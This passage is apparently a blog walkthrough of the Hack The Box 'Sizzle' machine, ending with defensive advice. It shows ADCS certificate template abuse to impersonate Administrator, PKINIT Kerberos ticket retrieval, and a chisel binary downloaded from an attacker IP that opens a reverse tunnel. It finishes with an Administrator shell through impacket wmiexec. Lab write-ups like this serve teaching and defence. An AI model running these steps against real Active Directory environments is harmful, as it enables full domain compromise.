        nTSecurityDescriptor = "D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;DA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-2379389067-1826974543-3574127760-519)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;LA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)"
        name = "SSL"
        objectGUID = "50e0c82d-3a98-4bab-98a0-a8cf58e27c86"
        flags = "131649"
        revision = "100"
        objectCategory = "CN=PKI-Certificate-Template,CN=Schema,CN=Configuration,DC=HTB,DC=LOCAL"
        pKIDefaultKeySpec = "1"
        pKIKeyUsage = "a0 00"
        pKIMaxIssuingDepth = "0"
        pKICriticalExtensions = "2.5.29.15"
        pKIExpirationPeriod =  "2 Years"
        pKIOverlapPeriod =  "6 Weeks"
        pKIExtendedKeyUsage = "1.3.6.1.5.5.7.3.1"
        pKIDefaultCSPs = "2,Microsoft DH SChannel Cryptographic Provider", "1,Microsoft RSA SChannel Cryptographic Provider"
        dSCorePropagationData = "20180703180616.0Z", "20180703180611.0Z", "16010101000000.0Z"
        msPKI-RA-Signature = "0"
        msPKI-Enrollment-Flag = "8"
        msPKI-Private-Key-Flag = "16842752"
        msPKI-Certificate-Name-Flag = "1"
        msPKI-Minimal-Key-Size = "2048"
        msPKI-Template-Schema-Version = "2"
        msPKI-Template-Minor-Revision = "4"
        msPKI-Cert-Template-OID = "1.3.6.1.4.1.311.21.8.1673567.6184851.15355838.1475103.2881929.224.8364514.11629017"
        msPKI-Certificate-Application-Policy = "1.3.6.1.5.5.7.3.1"

Check my (amanda’s) permissions:

    certutil -v -dstemplate SSL
    ...
    Allow Full Control  HTB\Domain Admins
    Allow Full Control  HTB\Enterprise Admins
    Allow Full Control  HTB\Administrator
    Allow Full Control  NT AUTHORITY\Authenticated Users
    ...

Add EKUs:

$EKUs=@("1.3.6.1.5.5.7.3.2", "1.3.6.1.4.1.311.20.2.2")
    Set-ADObject "CN=SSL,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=HTB,DC=LOCAL" -Add @{pKIExtendedKeyUsage=$EKUs;"msPKI-Certificate-Application-Policy"=$EKUs}

Creating the request on the Linux box – compared to my test environment I only need to change the DN value to be sent with openssl:

...
dn="/DC=LOCAL/DC=HTB/CN=Users/CN=Administrator"
...
[ user ]
    subjectAltName = otherName:msUPN;UTF8:Administrator@HTB.LOCAL
...
openssl req -config $cnffile -subj $dn -new -nodes -sha256 -out $reqfile -keyout $keyfile

amanda logs again on to http://sizzle.htb.local/certsrv/certrqxt.asp to submit a certificate request, but this time she picks the SSL template and pastes the BASE64-encoded request file that includes the Administrator’s names.

Certificate obtained:

openssl x509 -in HTB-SIZZLE-CA.cer -text -noout
    Certificate:
        Data:
            Version: 3 (0x2)
            Serial Number:
                75:34:96:f2:56:ee:30:9f:45:6e:22:3a:2a:e0:1e:a2
            Signature Algorithm: sha256WithRSAEncryption
            Issuer: DC = LOCAL, DC = HTB, CN = HTB-SIZZLE-CA
            Validity
                Not Before: Jul  2 20:26:03 2018 GMT
                Not After : Jul  2 20:36:02 2028 GMT
            Subject: DC = LOCAL, DC = HTB, CN = HTB-SIZZLE-CA
            Subject Public Key Info:

19 Changing the  Linux Kerberos config: HTB.LOCAL realm

The default realm needs to be changed to HTB.LOCAL, and  entries for these realm have to be added (the ones for testdomain.local are unchanged, just as the bunch of other default realms that were in krb5.conf from the beginning)

    [libdefaults]
	default_realm = HTB.LOCAL
...
    [realms]
        HTB.LOCAL = {
            kdc = sizzle.HTB.LOCAL
            admin_server = sizzle.HTB.LOCAL
            pkinit_anchors = FILE:/research/_Kerberos-Certificates/sizzle/HTB-SIZZLE-CA.crt
            pkinit_identites = FILE:/research/_Kerberos-Certificates/sizzle/admin-sizzle.cer,/research/_Kerberos-Certificates/sizzle/admin-sizzle.key
            pkinit_kdc_hostname = sizzle.HTB.LOCAL
            pkinit_eku_checking = kpServerAuth
        }
        TESTDOMAIN.LOCAL = {
            kdc = pki.TESTDOMAIN.LOCAL
...

20 Using chisel

Download chisel and start the ‘server’ (or is that the client ;-) ?) on my box:

./chisel server -p 9999 --reverse
2020/05/31 11:20:47 server: Reverse tunnelling enabled
2020/05/31 11:20:47 server: Fingerprint bb:e9:3c:75:0f:28:dc:cc:0f:45:ad:5b:fa:97:e6:6d
2020/05/31 11:20:47 server: Listening on 0.0.0.0:9999...

Copy it to Sizzle using powershell curl. It does not run from amanda’s Downloads folder, but I owe to 0xdf for the trick to cd to the C:\Windows\Temp folder – a directory that you can put files into but that you are not allowed to list!

I wanted to use the minimum ports only, so amanda runs on the Sizzle box …

cd C:\windows\temp
curl 10.10.14.3/chi.exe -outfile chi.exe
.\chi.exe client 10.10.14.3:9999 R:88:127.0.0.1:88
2020/05/31 05:25:01 client: Connecting to ws://10.10.14.3:9999
2020/05/31 05:25:01 client: Fingerprint bb:e9:3c:75:0f:28:dc:cc:0f:45:ad:5b:fa:97:e6:6d
2020/05/31 05:25:01 client: Connected (Latency 47.9862ms)

If kinit (or later the impacket tools) would fail, I would go back to the test environments, check network traces, and add more ports. I cannot sniff on the traffic between my Linux box and Sizzle  as the traffic is encapsulated in the tunnel.

Change /etc/hosts entry for sizzle.htb.local to 127.0.0., and get the Ticket Granting Ticket for the Administrator – seems that TCP 88 is indeed sufficient:

kinit -X X509_user_identity=FILE:/research/_Kerberos-Certificates/sizzle/admin-sizzle.cer,/research/_Kerberos-Certificates/sizzle/admin-sizzle.key Administrator@HTB.LOCAL
    
    klist
    Ticket cache: FILE:/tmp/krb5cc_0
    Default principal: Administrator@HTB.LOCAL

    Valid starting       Expires              Service principal
    05/31/2020 11:29:13  05/31/2020 21:29:13  krbtgt/HTB.LOCAL@HTB.LOCAL
            renew until 06/01/2020 11:29:12

\o/

21 Get a shell with wmiexec

psexec looks promising: Authentication works, but then it is stuck forever at the last step:

export KRB5CCNAME=/tmp/krb5cc_0

python /usr/share/doc/python3-impacket/examples/psexec.py HTB.LOCAL/Administrator@sizzle.HTB.LOCAL -k -no-pass -dc-ip 127.0.0.1

Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] Requesting shares on sizzle.HTB.LOCAL.....
[*] Found writable share ADMIN$
[*] Uploading file GTtteuqL.exe
[*] Opening SVCManager on sizzle.HTB.LOCAL.....
[*] Creating service TQrO on sizzle.HTB.LOCAL.....
[*] Starting service TQrO.....

Then the WinRM shell dies and it never finishes. Maybe a Defender thing? Or a ‘bug’, latency due to chisel? Filtering a network trace of psexec run in my testdomain.local with ..

!(tcp.port == 445) && !(tcp.port == 88)

… shows that really no other ports should be needed.

Pragmatic decision: Start testing wmiexec instead. This time it does not work until I add more ports to be forwarded by chisel. Fortunately, those RPC high ports seem to be universal and the ones learned from testdomain.local also work with htb.local.

So I add them to chisel as amanda:

.\chi.exe client 10.10.14.3:9999 R:88:127.0.0.1:88 R:445:127.0.0.1:445 R:135:127.0.0.1:135 R:49666:127.0.0.1:49666

… and I finally get my shell :-)

python /usr/share/doc/python3-impacket/examples/wmiexec.py HTB.LOCAL/Administrator@sizzle.HTB.LOCAL -k -no-pass -dc-ip 127.0.0.1
    Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

    [*] SMBv3.0 dialect used
    [!] Launching semi-interactive shell - Careful what you execute
    [!] Press help for extra shell commands
    C:\>whoami
    htb\administrator

    C:\>cd C:\users\administrator
    C:\users\administrator>cd Desktop
    C:\users\administrator\Desktop>dir
     Volume in drive C has no label.
     Volume Serial Number is 9C78-BB37

     Directory of C:\users\administrator\Desktop

    07/10/2018  06:24 PM <DIR> . 
    07/10/2018  06:24 PM <DIR> .. 
    07/10/2018  06:24 PM 32 root.txt 
                   1 File(s) 32 bytes 
                   2 Dir(s) 10,244,354,048 bytes free 

   C:\users\administrator\Desktop>type root.txt 
   91c584**************************

Summary

What was the misconfiguration?

A normal PKI user – who should only be able to enroll for certificates – also had the right to change certificate templates.

Main steps to exploit this:

  • Edit a certificate template to make it suitable for smart card logon
  • Create key and request file with proper naming attributes offline
  • Send a request via the intended enrollment interface – the certsrv web app in this case.
  • Use the certificate to get a Kerberos Ticket Granting Ticket with Linux default Kerberos tools.
  • Use a tool that gets a Service Ticket based on the TGT and starts and interactive shell, such as impacket psexec.py or wmiexec.py

How to protect against this?

!!! Treat a Windows PKI and related privileges as a domain controller of your forest root domain. !!! Only Enterprise Administrators or an equally trusted group should edit certificate templates.

If a published certificate template already (without having to edit it) allows to submit custom names (as typically webserver templates do):

  • Assess the risk of a ‘malicous’ name to be submitted. It also depends on the other attributes in the certificate. If the only EKU is Server Authentication, the certificate can e.g. not be used for smart card logon. But don’t forget that custom applications MAY (as per RFCs) not care about EKUs and use it however they want!
  • Make sure that naming attributes are inspected and certificate requests are subject to manual approval.

2 Comments Add yours

Leave a Comment

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.